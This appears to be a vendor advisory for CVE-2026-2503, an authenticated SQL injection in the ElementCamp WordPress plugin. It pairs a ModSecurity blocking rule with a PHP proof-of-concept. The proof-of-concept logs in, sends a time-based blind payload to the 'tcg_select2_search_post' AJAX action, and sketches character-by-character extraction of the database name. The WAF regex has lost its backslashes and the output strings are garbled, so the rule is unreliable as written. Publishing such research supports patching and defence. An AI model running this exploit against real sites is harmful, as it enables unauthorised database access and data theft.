CVE-2026-2503: ElementCamp <= 2.3.6 – Authenticated (Author+) SQL Injection via 'meta_query[compare]' Parameter (element-camp)

# Atomic Edge WAF Rule - CVE-2026-2503 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20262503,phase:2,deny,status:403,chain,msg:'CVE-2026-2503: ElementCamp SQL Injection via meta_query[compare]',severity:'CRITICAL',tag:'CVE-2026-2503',tag:'WordPress',tag:'ElementCamp',tag:'SQLi'"
  SecRule ARGS_POST:action "@streq tcg_select2_search_post" "chain"
    SecRule ARGS_POST:meta_query.compare "@rx (?i)(?:b(?:OR|AND|XOR)b.*b(?:SLEEP|BENCHMARK|WAITFOR|PG_SLEEP)b|b(?:SELECT|UNION|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC|EXECUTE)b.*b(?:OR|AND|XOR)b|--|#|/*|*/)" 
      "setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2503 - ElementCamp <= 2.3.6 - Authenticated (Author+) SQL Injection via 'meta_query[compare]' Parameter
<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Verify authentication by checking for WordPress admin bar indicator
if (strpos($response, 'wp-admin-bar') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Exploit SQL injection via meta_query[compare] parameter
// Time-based blind injection payload: != OR SLEEP(5)--
// This payload functions as an SQL operator, bypassing esc_sql()
$ajax_data = array(
    'action' => 'tcg_select2_search_post',
    'meta_query' => array(
        'compare' => "!=' OR SLEEP(5)--"
    )
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;

// Check for time delay indicating successful injection
if ($elapsed >= 5) {
    echo "[+] SQL injection successful! Response delayed by " . round($elapsed, 2) . " seconds.n";
    echo "[+] The database is vulnerable to time-based blind SQL injection.n";
} else {
    echo "[-] No time delay detected. Injection may have failed or been patched.n";
    echo "[-] Response time: " . round($elapsed, 2) . " seconds.n";
}

// Step 3: Demonstrate data extraction with conditional time delay
// Example: Extract first character of database name
$ajax_data['meta_query']['compare'] = "!=' OR IF(ASCII(SUBSTRING(DATABASE(),1,1))>100,SLEEP(3),0)--";
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;

if ($elapsed >= 3) {
    echo "[+] Conditional injection successful. Database name first character ASCII > 100.n";
} else {
    echo "[+] Database name first character ASCII <= 100.n";
}

curl_close($ch);

?>